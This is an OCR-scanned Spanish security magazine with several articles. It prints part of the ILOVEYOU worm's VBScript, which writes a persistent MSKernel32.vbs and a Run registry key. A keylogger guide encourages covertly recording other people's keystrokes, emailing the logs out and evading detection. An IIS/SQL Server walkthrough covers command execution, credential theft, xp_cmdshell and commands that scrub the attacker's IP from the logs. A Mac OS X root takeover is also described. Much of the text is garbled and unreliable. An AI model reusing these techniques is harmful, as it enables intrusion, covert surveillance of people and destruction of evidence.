que contiene el virus y mandarlo a todos los miembros de nuestro li-
bro de direcciones. Podemos advertir que el sujeto que contiene el vi-
rus es “| Love You”, que el cuerpo del mensaje, es decir el texto es
“kindly check the attacched loveletter coming from me”. Lo habéis en-
tendido, este mensaje personal pide a nuestro correspondiente abrir la
carta de amor en el archivo adjunto, estd destinado a picar la curiosi-
dad del receptor del mensaije con la finalidad de impulsarlo a abrir el
archivo adjunto. Finalmente, el cédigo del virus (love letter for
you.ixt.vbs) se afiade como archivo adjunto a los mails enviados.

En el cédigo fuente del archivo que contiene el virus | Love You una sub-
rufina genera automdticamente una pagina HTML que serd transmiti-
da a nuestros correspondientes a través del IRC. Esta pagina HTML
contiene un AdtiveX (vbscript) con la finalidad de llamar la atencién de
la victima. La sinfaxis siguiente permite visualizar un texto corredizo en
la pantalla.

»Difusion del virus a traves de IRC

Sub html

On Error Resum Next

Dim
Lines,n,dtal,dta2,dtal,dt2,dt3,dt4,11,dt5,d
76

Dtal="<HTML><HEAD><TITLE>LOVELETTER -
HTML<?~ ¢TITLE><META

NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS
LOVELETTER@-@Generator@-@ >"&ybecrlf

#¢<META NAME=@-@Author@-@ CONTENT=@-@spyder
¢-¢ ispyder@mail.com ¢-¢

@GRAMMERSoft Group ¢-¢ Manila, Philippines
¢-¢ March 2000@-@>"&vbcrlfs&

#META NAME=@-@Degcription@-@ CONTENT=@
~@gimple Dbut 1 think this (s
@>"&vbcrlfs

#¢? - :HEAD><BODY
ONMOUSEOUT=@-@window.name=#-#main#-#;win-
dow.open (#-#LOVE~-LETTER-FOR-YOU .HTM#

~#, #-#maink-#)C-@ “&vbcrlf&

good...@-
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“ONKEYDOWN=@-@window.name=#-#main#-#;win-
dow.open (#-#LOVE-LETTER-FOR YOU.HTM#
-#,#-#imain#-#)@-@ BGPROPERTIES=@-@fixed@-@
BGCOLOR=@-@H#FF9933@-@>"vbecrlfs
“<CENTER><p>This HTML file need ActiveX
Control<?-¢p><p>To Enable to read
This HTML file<BR>- Please press #-#YES#-
Button to Enable
ActiveX<?-:p> “&vberlfs
"< ¢ - ¢CENTER><MARQUEE LOOP=@-@infinite@-@
BGCOLOR=@-@yellow@-@ -

Z >?-:MARQUEE >

"gvberlfs
“<?2-2BODY><?~-¢HTML>""“&vbecrlfs
“<SCRIPT language=@-@Jscript@-@>”“gvberlf&

fel—g-22mdlievberift

“if (window.gcreen) {var wi-screen.avail-
Width;var ¢
Hi=screen.availHeight;window.moveTo (0,0);:w
Indow.resizeTo (wi-hi); }””&vberlfs
UePupomaanifyor] £

<y~ SCRIPTsyvberl s

“<SCRIPT LANGUAGE=@-@VBScript@-@s”&vbcrlfs

;<!~”&vbcrlf&~

El script java permite pasar a modalidad de pantalla completa
nuestro navegador con la pagina Web del virus.

“get
dirsystem=fgo.GetSpecialFolder (1) &vbcrlfs
“code2=replace (code,chr(91) &chr (45) &chr (91

),chr(39))” &vberlfs
“code3=replace(code2,chr(93)&chr (45)&chr (9
3),chr(34))" &vberlfs

“coded=replace (code3,chr(37)&chr (45) &chr (3
7),chr(92))" &vberlfs

“set wri=fso.CreateTextFile(dirsystem&@-
@r-AMSKernel32.vbs@-@) “gvberlfs
“wri.write coded” &vbcrlfs

"wri.close” &vbecrlfs

“if (fso.FileExists(dirsystem6@-@/-AMSKer-
nel32.vbs@-@)) then &vbecrlfs

“if (err.number=424) then”s&vberlfs
Taw=0"&vbcrlfs

“end if” &vbecrlfs

“if (aw=1l) then” &vberlfs

“document .write @-@ERROR: can#-#t inita-
lize ActiveX@-@”&vbcrlfs

“window.close” &vberlfs

“end if"” &vberlfs

“end 1f” &vberlfs

“Set regedit =CreateObject (@-
@Wscript.Shell@-@) "&vberlfe
“regedit.Regwrite
@-@HREY LOCAL MACHINEA-4 Software’-AMicro-
soft*-*Windowe”-ACurrentVersion’-ARu
nA-AMSKernel32@- @, dirsystem&@-@4-AMSKer-
nel32.vbs@-@"gvberlfs
N9-¢2-a=>"gvberlis

“e?-¢BCRIPT>"

>>Camo protegerse de los virus

Como en el script que infecta nuestro ordenador, el script an-
terior permite modificar los registros de sistema y el archive
Windows\System\Mskernel32.vbs
para contagiarlo con el virus.
Ademds de asegurarse de poseer
un antivirus actualizado regular-
mente, existen algunas reglas de
buen uso que pueden contribuir a
limitar el riesgo de ser contami-
nados por un virus informdtico.
Como la mayor parte de los virus
de hoy en dia, | Love You se ha di-
fundido en pocas horas por el mun-

do entero gracias al e-mail. Para
protegerse de los virus de este tipo no
hay que abrir nunca un archivo adjunto
en un mail, especialmente si se trata de un
archivo ejecutable o con extensiones poco co-
nocidas. Otro consejo para descubrir los archivos
con extension engaiosa (como en el caso del virus | Love You
que buscaba camuflarse como un archivo de texto), indicar la
extension de todos vuestros archivos con Explorer. Desde el
meny Visualiza>opciones de carpeta... en la ventana Visuali-
za deseleccionad el botén esconde la extensién de los archivos:
conocidos.
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UTILIZAR UN KEYLOGGER PARA PROTEGER NUESTRA PRIVACIDAD

(Alguien curiosea en vuestro ordenador, o lo utiliza sin autorizacion?

rec0, Inc. We are & company
operated by AMECISC, UL o chnologies.

X
3

il weicome to ksvlt;sg:’vgf'.;\:‘ P of computer survella

L -j specializing in th
B 11ardware KeyLogger

Lk

Products r Lo
Do:nkands Haare KoY oLt Kaypoard-
Qrder rduea

support « Records everything ¥

¢ into bu
Contact vs website addresses i

e « No new software 10 install of leam

$129

Syt
, including emails, ins!
e il flash memory

o Simple to install, just plug itin

+ Uses o system resources

e
» Excellent real-time backup devic

En las direcciones wwW.key%Y:‘
wwW.cmecisco.com se pueden
hardware, completamente InV!

“ quel icono esfoy seguro
que no estaba ahi. Estos
mensaies electréonicos no
EEE recuerdo haberlos des-
cargado o leido...”
¢No les ha sucedido alguna vez de encon-
trar vuestro ordenador de casa o de la ofi-
cina con algunas diferencias con respecto a
la ultima vez que lo habéis apagado? Di-
gamos que no es lo normal pero puede su-
ceder.
Familiares “curiosos”, colegas envidiosos
de vuestros triunfos y de la buena reputa-
cién que estdis adquiriendo, como vuestro
iefe infenta aprovecharse de vuestras ide-
as... todas las situaciones pueden represen-
tar una amenaza a vuestra privacidad y a
la seguridad de vuestro ordenador.

>» El guardian digital

2Pero como darse cuenta de estas intro-
misiones? Desde siempre en toda
respetable novela de intriga, la téc-
nica mas eficaz consiste en colocar
una trampa para el “curioso” y
buscar asi de cogerlo con las manos
en la masa. |

and-alone 512K Flash Memory - $89

ant messages, chats, and

st.com Y
encontrar key
sibles al sistema-

AMECISEO
2Esconderse detrds del escri-
torio?, 2Videocdmaras es-
condidas? Beh... si de veras
tenéis tiempo y dinero para
perder porqué no, pero si
éste no es vuestro caso, en-
tonces podéis recurrir otra
vez a la tecnologia que po-
ne a vuestra disposicion
trampas confeccionadas y
de fdcil manejo. También
podriamos instalar discos
duros removibles, progra-
mas de criptografia y todo
lo que pueda proteger
nuestros datos, éstos son
solo trucos que no reve-
lan nada sobre la identidad del
agresor quien podrd continuar a traba-
jar sin problemas. L
Para recopilar datos que nos lleven hacia
el culpable resulta de fundamental im-
portancia saber que hace éste “curioso”
dentro de nuestro PC, que razén lo im-
pulsa, cudles son los documentos que le
interesan y cémo los ufiliza después de
encontrarlos. ‘
2Cémo podremos llegar a toda esta in-
formacién?
Beh... cualquiera sabe que para utilizar
un ordenador se tienen que pulsar teclas,
seleccionar aplicaciones y abrirlas con el
puntador del mouse; entonces nosofros
aprovecharemos y sacaremos partido
precisamente de esta “limitacién técni-
ca”, memorizando cada tecla pulsada y
cada programa utilizado por el curioso.
KeyLoggers son instrumentos crea-
dos con ésta finalidad; registran
consecutivamente cada actividad,
como aplicaciones ejecutadas, introduc-
cién de textos, salvando todo un archivo
log que resultard extremadamente deta-
llado. Los KeylLoggers que se encuentran
en internet son muchos, nosotros anali-
zaremos Windows Keylogger 5.04, es la
dltima version del mds completo hasta

logger

| ohora.
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> Instalacion Yy uso

El programa, que se descarga del sitio
www.littlesister.de, no necesita instala-
cién ya que es un auto-extract que se

indows Keylogge |

Autostart:
5 I~ Autostart
eZT5)

Remember that you have to restart the Logging Engine for any changes to take effect}
|- Logfie Configueation

| Save protocol
| @/ inthis ogfe:

| Visual Monitofing

| ﬁ 19 Take Screenshot Pictuss every [10  mites

Se inicia con las programaciones més
faciles como el autostart, el procedi-
miento para salvar el archivo log con un
nombre y el tiempo entre el cual realizar
los screenshots.

 Protocol Schedber | Qptions | Regisretion/instalstion | About Windows Keylogge |

Begin Time 1 End Time

| Eln 2w e o5

FEn 0 Zm| | h [0,

[F2ln o 3m| n [0 Em
Anom| 380w

2wzl :

En la segunda pantalla se puede definir el
horario de inicio y cierre del programa, asi
como su autodestruccion.

Prolocol | Scheduler Options | Begistiation/instalation | About Windows Keylogger |

B,

s~ o] .
[~ sMader Options

| & Computes uses Windows DUN Network, " Comp. has pesmanent Intemet connection

| When o send logfle

[ Fondla @ Send e every

oo :fo

dags  hou's minutes

L | Whensasveacher [
| SMTPHost  [smtpyehoo.com

| Security

I Password Protection
fox this Yool

I Logfie backdating

En la tercera pantalla se configuran las
opciones de envio con un email del ar-
chivo log.




descompacta en el directorio |
que le indiquéis.

Abrir el ejecutable creado y se
inicia el juego.

La pantalla con la que os encon-
traréis es la primera de las cinco
que componen la configuracion.
El setting es muy intuitivo pero de
todes. modos vamos a analizar
los procedimientos méds impor-
tantes. Para que se recopile toda

ma sea ejecu-

. Una de las opciones mds
de utilizarse en caso de
ste en la opcién de “to-

de todo lo que suce-
la. Estas son usocxcdus

ser necesario
mar fotogre
de en la p
directamente
se visualizaré como una pégina |
programa

inicio re automdtica. Asf
cualg
PC desde afuera, por ejemplo,
horario de oficina serd log-
‘gada y podremos consultarla.
¢Tenéis miedo de que el curio-
so descubra la trompa2No te-
mdis, activando la opcién
de autodestruccion, el
programa desaparecerd |
mdgicamente a la fecha
fijada.

> Uer los resultados

Ah... finalmente las tan esperadas vaca-
ciones... eh si, pero vuestro ordenador?!?
$Abandonado al cuidado de cualquiera
que le quiera poner las manos encima?2
Esto es impensable! De nuevo Keylogger

b

Whato; vea setie infity ¢ 5,

te ayuda con una opcién en la tercer pa-
gina de configuracién: email log. Podéis
decidir si recibir los archivos por mail
a una determinada hora o cuando
alcanza una capacidad definida;
puedes seleccionar entre varias imposta-
 ciones y verds que sumergido
: en los ma-
' res tropica-
les no per-
| deréis la po-
' sibilidad

' de... investi-

s e e e , | gar ol investi-

i S () ciclor !

Pero  ahora
que tengo los
files de log
écomo los

OS5 Mettendog
0dogh n mano Iy stan
I8 stampa defl ey,
Cuostd’._obry

ydis pensado
que era sufi-

ciente hacer doble clic en el .ixt... 2ver-
dad?!212 Como en cada programa serio
y respefable, KeyLogger implementa
un sistema de serie de nimeros del
ouput que puede ser resuelto sélo utili-
zando una opcién especifica en la primer
pégina de la configuracién del progra-
ma. Finalmente, el resultado; una serie infi-
nita de aclaraciones del uso impropio de
vuestro PC, acompanadas de imdgenes to-
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- madas en el desktop, cambios en car-
petas y documentos, hasta llegar al
mdximo detalle de cada tecla pulsada.
A este punto queda a vosotros invitar
a vuestro amado colega a cena vy
avergonzarlo entregandole la impre-
sion de su “curiosidad “... aparte de la
cuenta, es obvio... :D

éPero el engaio dénde esté? Efecti-
vamente se debe admitir que en in=
ternet no es dificil descubrir los
antiKeylogger. Son programas
| que escanean el ordenador y descu-
bren a nuestros “aliados”. Tal vez hoy
tenemos suerte que no se encuentran
muchos para Windows XP y aquellos disponi-
bles no pueden encontrar el Keylogger en
accién. En la espera de futuros desarrollos,
especialmente relacionados al proyecto Palla-
dium de Microsoft ( que deberd impedir el
funcionamiento de programas similares), go-
cemos de esta posibilidad de trabaijar sin ser
molestados, disfrutando sin ningin coste de
éste pequerio “agente secreto” personal.




DINAMICA DE UN ATAQUE A MICROSOFT IIS Y SQL SERVER

Cronica de un ataque a
Microsoft 1S y SOL Server

Don Juan explica como un malintencionado puede entrar de puntillas a un servidor web que

utilice una plataforma Microsoft, hacer lo que quiera, y salir sin dejar ni rastro.

ve los servidores web son poco
seguros lo sabemos todos, pero
no son tantos los que conocen
cuales son efectivamente los
problemas de esta plataforma. Como de
costumbre, todos hablan, pero son pocos
los enterados. Intentemos ahora imaginar,

en un escenario apocaliptico, que es lo
que podria hacer un malintencionado a un
el e el que no haya sido conve-

nientemente configurado y actualizado.
Por Gltimo, veremos cudles son las precau-
ciones que se deben tomar para prevenir
ataques de este tipo sobre el propio servi-
dor.

Normalmente, el ataque provendrd de
una conexién a Internet de un gran pro-
veedor como Terra o Eresmas, al que ho-
brén sido suministrados datos personales
falsos. En realidad, el hacker serfa igual-
mente localizable, ya que estos proveedo-
res registran el nimero de teléfono de la
linea utilizada para la conexién (y utilizar
el servicio de Telefénica que permite ocul-
tar el nUmero de quien llama, en estos
casos no sirve). Si no es un desprevenido,

utilizard un nimero impreciso de un servi-
dor proxy entre su ordenador y el servidor
SOERREDNE, de modo que confunda las

aguas. El software necesario es bastante
caro, pero seguramente no habrd sido
adquirido con las licencias regulares de
Windows 2000 y de SQL Server Desktop
Edition o Developer Edition.

Los servidores susceptibles a este tipo de
ataque son 11S 4.0 o superior, SQL Server
7.0 o superior y no son protegidos por un
cortafuego. No todos los administradares |
actualizan IIS como es debido y muchos |

sJeletels| STl se encuentran con un agu-
lero de las primeras versiones que permite §

navegar por sus carpetas y visualizar los
ontenidos de los archivos de textolizslgs -2

rificar el tipo de servidor y el sistema ope-
rativo, el hacker utilizard probablemente
un servicio como el de

que es capaz de im-
plantar la plataforma sobre la que funcio-
na cualquier sitio web. Para descubrir si
hay un cortafuego, el hacker realizard un
escaneo de los puertos sobre puertas di-

| ferentes a la 80; en este caso un sistema ‘
de deteccién de intrusos (IDS), podria ha-

cer sonar la primera sefial de alarma, e
impedir fases sucesivas del ataque.

>> Analisis del ataque

El primer paso del hacker, seré el

de utilizar un URL mal formado |

(malformed url) de tal manera que

| apunte al archivo

c:\winnt\system32\cmd.exe y ejecute
el comando dir (informaciones sobre este
tipo de ataques, con ejemplos de script
perl utilizados, se pueden encontrar en
www.bismark.it). Si el hacker tiene suer-
te, a este punto verd el contenido del direc-
torio: el sistema se encuentra desnu-
do delante de sus ojos.

El hacker se trasladaré ahora al di-

rectorio donde se encuentran las pd-

ginas asp, es decir el sitio propia-
mente dicho (probablemente
c:\Inetpub\wwwroot) y, utilizando el co-
mando type, intentard visualizar el conteni-
do del archivo global.asa y de diferentes
pdginas asp, en busca de la cadena de tex-
to de conexién a SQL Server, que deberia
ser del tipo: “Driver={(Microsoft SQL SER-

VER)},SERVER=" efc.
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En esta cadena se encuentran contenidos
los valores de USERID y PASS, que son las
credenciales de conexién a la base de da-
tos de SQL Server.

Ahora utilizard el Enterprise Mana-
ger para realizar un nuevo registro,
especificando como nombre la di-
reccién de la victima, y como nombre de
usuario y password las que habré encon-
trado en la cadena de texto de conexién.

Si la cadena contiene el usuario
“sa”, o si una vez verificados los pri-
vilegios del usuario individuado
descubre que pertenece al grupo de ad-
ministradores de la base de datos, el hac-
ker lo tendré fécil y podrd pasar ensegui-
da al siguiente punto. En caso contrario,
tendrd que tantear para individuar la
constrasefia del usuario “sa”, empleando
una contrasefia vacia o bien aquellas
mds comunes.

Ahora, siempre ufilizando el Enterpri-

se Manager, ird a la base de datos

maestra, abrird la herramienta anali-
zadora de inferrogaciones SQL y procede-
rd a ver el contenido de c: escribiendo
xmd_cmdshell ‘dir c:\’. Si es afortunado,
habra a disposicién una shell con privile-
gios de administrador sobre el sistema, y
podré hacer lo que le parece.

Este escenario, ya dramético de por

sf, puede hacerse trgico, ya que el

hacker podré modificar el log de
sistema sin dejar huella. Se trasladard
hasta el directorio que contiene los archi-
vos de log del ataque y, suponiendo por
ejemplo que el ataque haya ocurrido el 1
de Enero 2001 y la direccién IP del hacker
sea 192.168.0.2, utilizard una secuencia
de comandos como ésta:

type ex010101.1log | find /v
"192.168.0.2" > temp

del ex010101.log i

move temp ex010101.log.

En la préctica; find /v encuentra todas las Ii-
neas que no contienen el IPy las copiard en
un archivo temporal. A continuacién, bo-
rrard el archivo de log y daré al archivo
temporal el nombre del archivo de log eli-

minado. Podria también modificar los atri-
butos de fecha de creacion y de modifica-
cién del archivo de log, de tal manera que
no aparezca traza alguna de todas estas in-
trusiones. Normalmente, el hecho que el
archivo de log esté abierto en modo exclu-
sivo por IS no da miedo al intruso: tendrd
que detener IIS con los comandos de MD-
DOS, modificar el archivo y volver a encen-
der IS antes que el administrador llegue o
sospechar algo.

>> Camo defenderse

Este tipo de ataque es mds peligroso que
aquellos producidos con nc o que pro-
vengan después de la instalacién de un
troyano, porque no altera de ninguna
manera el sistema y no deja ninguna se-
fial: no habrd extrafios procesos en eje-
cucién, ni nuevas llaves de registro, ni
mucho menos se utilizaran puertas del fi-
po 31004, que saltan a la vista. SQL Ser-
ver serd operado desde una puerta per-
fectamente regular. Para evitar que el
ataque descrito tenga éxito, es necesario
desactivar o modificar la contrasefia del
usuario “sa”, que como valor predefinido
se encuentra vacia, controlar que las pé-
ginas asp no contengan referencias di-
rectas a SQL Server, utilizando en su lu-
gar un DNS de sistema, y agrupar allf las
informaciones de acceso. En las tablas
de los usuarios admitidos a entrar en las
dreas reservadas del sitio web utilizad ex-
clusivamente contrasefias cifradas, y
nunca claras. Es obvio que si un usuario
se olvida de su contrasefa, el sistema
podré regenerar automaticamente una
nueva, siendo completamente imposible
recuperar la contraseia en claro de
aquella cifrada. E
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cOMO EVITAR
LOS ERRORES

El webmaster de este

ejemplo ha sido un

pardillo; para evitar

errores graves es necesario antes
que nada consultar la seccién

relativa a las actualizaciones de
seguridad en el sitio del productor
del servidor (en este caso,
www.microsoft.com/technet) .

El seqgundo error grave ha sido el
de no modificar la contrasefa
predefinida del usuario “sa” de SQL
Server. Una lista de todos los
pasos necesarios para hacer seguro
SQL Server se encuentra en la web
www.sqlsecurity.com/checklist.asp.
Finalmente, ha introducido la
cadena de texto de conexién a la
base de datos (que contiene las
contrasenas de acceso) directamente
en las paginas asp, en lugar de
utilizar un DNS de sistema, método
mds seguro y aconsejable. Mas
informacién en:
WWW.powerasp.com/content /datab
ase/dsn_vs_dnsless.asp.




COMO FUNCIONAN LAS TRANSACCIONES EN LAS COMPRAS ON-LINE

5

Tar jeta de credito e Internet:

Aunque a muchas personas les da miedo enviar via Internet el propio nimero

de tar jeta de credito, la mayor parte de paginas que ofrecen e-commerce

son mas seguras que pagar en el restaurante o hacer cola en el cajero.

Siempre que verifiquemos bien a quien estamos entregando nuestro dinero.

as multiples posibilidades que
ofrece la red han creado nuevas
respuestas que permiten a las
empresas, tiendas, bancos y su-
ministradores de servicios tener
una relacién directa con el consumidor, in-
dependientemente de los distribuidores o
infermediarios y del lugar en el que se en-
cuentre el cliente. El instrumento que mejor
se ha adaptado a internet ha sido, sin duda,
la tarjeta de crédito: una serie de nimeros
que nos permiten comprar on-line bienes y
servicios, pagdndolos directamente desde
nuestra casa. Es un sistema mucho mds cé-
modo que tener que efectuar una transfe-
rencia bancaria o un ingreso al contado en
una cuenta corriente postal. Pero son to-
davia muchos los que no se fian en
absoluto de usar la tar-

jeta de crédito on-line.
Independientemente del

tipo de producto o servi-

*> cio adquirido, el funcio-
> namiento de este tipo de
transacciones es el mismo: se proporcio-
nan al merchant (el que estd vendiendo al-
go) todos los datos necesarios y éste se en-
cargard de poner en marcha la tramitacién
ante el gestor de la tarjeta de crédito. Pero,
la facilidad con que se puede gastar
dinero en internet, crea ciertas dudas
que empujan en muchos casos al
usuario final a dejar la visa o la mas-
tercard bien resguardada en la car-
tera. Frente un posible pago con tarjeta de
crédito, una de las primeras preguntas que
uno se hace es siempre la misma: “2Es posi-
ble que alguien pueda acceder a los datos

-

sensibles de mi tarjeta?” La respuesta, desde
un punto de vista 1égico, sélo puede ser afir-
mativa: esta posibilidad existe. Obviamente
quedaria por verificar el verdadero factor de
riesgo que representa el tener que introducir
numeros y fechas de caducidad en el formu-
lario de una web.

> Como funciona

La mayor parte de las transacciones estdn
gestionadas por bancos e insfitutos especiali-
zados en el comercio on-line, los cuales en la
gran mayoria de casos se adhieren a deter-
minados modelos de seguridad.

Tomemos como ejemplo uno de los primeros
y mas difundidos gestores de fransacciones
via internet: “Ebankinter”. Existen muchos
ofros bancos que ofrecen respuestas para el
comercio electrénico, pero visto que, como ya
hemos dicho, el 99% de los procedimientos

estén estandarizados, el ejemplo de “Eban-
kinter” nos permitird entender el funciona-
miento de este tipo de comercio en modo pa-
recido a como lo hacen ofros muchos gesto-
res.Una vez escogidos los productos que se
quieren comprar de una hipotética web de e-
commerce, por poner un ejemplo cualquiera,
el usuario se encuentra delante de una pdgi-
na que le pregunta como desea efectuar el
pago: olviddndonos de ofros métodos (como
la cldsica transferencia bancaria, o los mds
sofisticados pagos trdmite tarjeta GSM) vo-
mos a aquello que nos inferesa: la conexion
con tarjeta de crédito. Una vez rellenado el
formulario de la pdgina en cuestién, el usua-
rio pulsard el botén “enviar”: De aqui en ade-
lante toda la transaccién depende del servidor
del banco. La transmisién de los datos pasard
enfonces por varias fases: primero el usuario
proporciona al merchant todos los datos ne-
cesarios para poder complefar la transaccion,
después estos datos serdn enviados del servi-
dor del merchant a los servidores del banco.
La conexién entre el merchant y el ser-
vidor del banco se efectia obviamente
respetando elevados
modelos de seguridad:
toda la informacién que
pasa entre los dos exire-
mos de la transacciéon
estd en efecto encripta-
da en SSL3 a 128 bits, garanti-
zando asf que nadie pueda interferir en la co-
municacién entre las dos méquinas, para, por
ejemplo, conseguir los datos de la tarjeta y
usarla con finalidades ilicitas. En el caso de
“Ebankinter” ( aunque la situacién es parecida
a muchos ofros sistemas de pago digital) el
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merchant instalard en su propio servidor una
clave java hecha a posta para este proceso de
cfrado: la clave serd generada cotidiana-
mente los servidores de la “Ebankinter”. Asi
todos los parémetros se transmiten con
seguridad, y para aumentar el nivel de
seguridad se introduce ademés un
control cruzado de la direc-
cion IP de quien redliza la
llamada, de este modo resul-
tan prdcticamente imposibles
los tentativos de desvio de la
conexién y el consiguiente
sniffing de las variables. Existen ade-
mds toda una serie  de instrumentos post-
transaccidn que confirman al usuario y al mer-
chant el éxito del pago: a través de este in-
forme disminuyen pues los riesgos de frans-
acciones reiteradas, o la repeticién errénea
de un pago (debida quizés a una conexion
lenta o como consecuencia del doble o triple
click del usuario sobre el botén Enviar del
formulario).

> En definitiva

Cuando todo esto pasa por institutos certifi-
cados y de confianza, las transacciones con
tarjeta de crédito no comportan riesgos
mayores a aquellos que corremos cuando
realizamos una compra normal en una
tienda: quizds son pocos los que lo pien-
san, pero si el dependiente que maneja
nuestra tarjeta sabe memorizar rapida-
mente con la mirada, no le costard mucho
confeccionarse una larga lis-
ta con ftarjetas utilizables,
quizds en internet.
Es cierto que también
existen muchas webs
que aunque no se apo-
yan en nadie sino en si mismas,
permiten igualmente pagar con tarje-
ta de crédito, muy a menudo a través de
un formulario que quizés una vez completa-
do debe ser simplemente enviado a través de
un e-mail al merchant: en estos casos, si no
hay otro remedio que continuar con la com-
pra, seria bueno perder un poco de tiempo
para informarnos sobre quién nos estd ofre-
ciendo aquel producto o servicio, y si vale la
pena arriesgarnos a que nuestra Visa sea
usada para que chicos de medio mundo
puedan pagarse el acceso a alguna web

porno. Sobretodo ahora que es todavia bas-
tante reciente el caso de una web, que hacia
publicidad de una empresa fantasma que
ofrecia recargas para méviles a mitad de
precio, y no era ofra cosa que un falso
sefiuelo con capacidad de rastrear en
los bolsillos de cientos de usuarios al-
go desprevenidos y obtener una gran
cantidad de nomeros vilidos de tarje-
tas de crédito. Prestad atencidn pues cuan-
do os dispongd is a comprar algo en la red:
la comodidad de poder efectuar transaccio-
nes desde nuestra casa necesita fambién de
una buena dosis de sentido comdn. La nor-
ma general es la de siempre: no aceptar
nunca caramelos de desconocidos. ¥4

hipotecg,

mo pupda

Enalish version

www.ebankinter.com dedicada a sitios que ofrecen
productos y servicios pagando con tarjeta de crédito.

La compra paso por paso

Los pasos a seguir en una transaccién con
tarjeta de crédito y un banco de apoyo.

El servidor del merchant envia al nave-

gador del cliente un formulario con la
orden de compra que debe rellenar.

El cliente rellena el formulario y lo en-
via a la direccién del merchant.

El servidor del merchant envia el no-

mero de la tarjeta de crédito y el im-
porte al ordenador del instituto de crédito
para una comprobacién.

El instituto de crédito envia al mer-

chant una confirmacién de la validez
de la tarjeta y de la cobertura por el im-
porte seleccionado

El servidor del merchant envia al nave-
gador del usuario una confirmacién de
que la compra se ha realizado con éxito.
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iEl verdadero
peligro esta
off-line!

Muchos dicen que no se

fian de las transacciones
via internet, pero a menudo cometen
estupideces que pueden revelar a
cualquier desconocido el propio ni-
mero de tarjeta de crédito.

No tirar nunca los tickets de
compra por la calle

No solo ayudaréis a mantener limpia
vuestra ciudad, sino que ademas evi-
taréis que alguien pueda recoger el
ticket, que casi siempre lleva es-
crito el nimero y la fecha de cadu-
cidad de la tarjeta, datos suficien-
tes para comprar cualquier cosa en
internet.

Pedid que verifiquen la firma
Muy pocos dependientes comparan la
firma del ticket de compra con la
que estd en la parte posterior de la
tarjeta de crédito. Si os sucede al-
go parecido, decidselo al dependien-
te: quizas la préxima vez recordard
hacerlo.

El empleado de un banco nos confeso
inocentemente que a veces realiza
pagos con la tarjeta de su mujer,
firmando con el nombre de ella. iQue
seguridad!

En el restaurante

En lugar de confiar la tarjeta de
crédito al camarero, id a pagar a la
caja. Evitaréis que un empleado des-
contento con su trabajo pueda copiar
los datos de la tarjeta.

En la cola del cajero o en la
caja

Cuando estéis haciendo cola junto a
otras personas, no saquéis la tarje-
ta de crédito hasta el Gltimo momen-
to, o cubrid el nimero con la mano.
Hay personas que estan entrenadas
para memorizar rapidamente los da-
tos, y acechan en lugares como estos
para poderlos “atrapar”.




‘aka Mac 0S X en peligro: UNO puede

b-3-d
00000 000000

iContrasefla
a la wvista!

Algunos usuarios del

Mac OS X podrian encontrar entre
sus preferencias (en -
/Library/Preferences) el archivo
Finders Prefs.

Ya el nombre resulta sospechoso
({porqué el plural de Finder?),
pero si ademds se observa el
archivo con un editor de texto,
hay de que preocuparse: buscando
bien, se puede ver la contrasefa
del administrador, isin codificar!
Esto supone un grave peligro para
la seguridad del sistema, porque
una persona que tuviese acceso
fisico al ordenador, podria leer
la contrasefia del administrador.
El culpable no es Mac Os X, sino
el programa MOX Optimize, que
sirve para habilitar funciones
ocultas y hacer que el
funcionamiento del sistema sea
mas rapido.

Debido a una torpe programacién,
para poder funcionar MOX
Optimize necesita la contrasefia
de administracién, y para no
tener que pedirla cada vez al
usuario, la guarda en el archivo
en cuestién. Quien esta
interesado en la propia
seguridad, deberia borrar el
archivo y, si alGn asi quiere
utilizar MOX Optimize,
introducir cada vez la
contrasena.

CONUERT IRSE EN ROOT
EN TRES MINUTOS

Para que los usuarios distraidos puedan reencontrar
la propia contraseiia, Apple ha dejado una puerta abierta

en la seguridad del Mac 0S K.

.Sonfigure, Hdden Mac 0 X ORSIONS, s
q ¢ ‘mizel Csoft R Register and get your datatiase
| Mac Os X Optimizel by Inf our wibsite quﬂﬁm ir datubas

b selectafeature | More settings panel, i [ password.. |

|| Accel Finder | Appearance | Disk | Dock | Network | Startupitems | UNIX | .

| Any user
[¥ Disable Finder Zoom Rectangles
[ Disable Anti Aliasing

[ Hide seconds in the clock
Intermediate

[ Hide Invisible files in the finder

You must relaunch the finder to apply changes

|~ Mouse turboboost m
| -
| | 100% 200% 300% 4008%

| v

Changes take effect after logout

) ¥ Help andmere info

1
|

abiendo sido pensado para el uso

personal, el Mac OS X tiene dos

grandes carencias en términos de

seguridad: en primer lugar, es

posible modificar la contra-
sena del administrador tan sélo
usando el €D de instalacién. Pero si no
es bastase con esto, cualquiera puede tener
acceso al sistema como root simplemente
reiniciando el Mac, mientras mantiene pul-
sadas las teclas Comando+s, y sin que le
sed hecesaria una contrasena. De este mo-
do se entra en la modalidad “single user”,
una shell Unix sin interfaz gréfica pero que
tiene libre acceso a cualquier archivo, sin
restriccién alguna.

>> A qué nos arriesgamos

Después de haber reiniciado el ordena-
dor manteniendo pulsadas las teclas co-
mando (manzana)+s, el malintenciona-
do podria subir el volumen / con
/sbin/mount -wu/.

Al llegar a este punto, reiniciados los servi-
cios de red con /sbin/systemStarter,
podria cambiar la contrasefia de root por
ofra a su eleccién, tecleando passwd ro-
ot seguido de la nueva contrasenia.

En éste caso, el usuario legitimo ya no

podria conectarse como root al pro-
pio sistema. Pero las cosas podrian ser to-
davia més graves. Moviéndose sin proble-
mas por los archivos del sistema, el ata-
cante podria conseguir los archivos con
contrasenas cifradas ( o todavia mds fdcil,
utilizad nidump passwd), para descifrarlas
con mds calma en ofro lugar, usando un
ataque a fuerza bruta para descifrar el
hash de la contrasefia. De esta manera, el
atacante habria conseguido las contrase-
fias sin comprometer el sistema de modo
evidente, y tendria acceso al ordenador en
cualquier momento (fambién a distancia, si
han sido habilitados los servicios Telnet y ftp).
Como en el caso de la funcionalidad del
CD de instalacién, esta “grieta” aparente, es
en realidad una funcionalidad prevista para
que los usuarios con poca memoria puedan
recuperar la contraseria. Esto no quiere de-
cir que la grieta en la seguridad no sea im-
portante, sobretodo si el Mac en cues-
tion esta a disposicion del publico en
general ( Internet café, tiendas,
stands de ferias, ... )

> La solucion

Por suerte, alguien ha pensado poner reme-
dio a este problema. Este alguien es Maruk-
ka, del Macintosh Security Group, que ha pu-
blicado una versién modificada de uno de los
componentes del Mac OS X, /mach _init, que
impide el reinicio en modalidad Single User.
La patch puede descargarse en: www.secu-
remac.com/disablemacosxsinglebo-
ot.php. Antes de instalarla, se debe fener en
cuenta que se trata de una modificacién no
soportada, y que su instalacién no comporta
la creacién de una copia de backup de la ver-
sién precedente mach _init, copia que convie-
ne efectuar manualmente en el caso que se
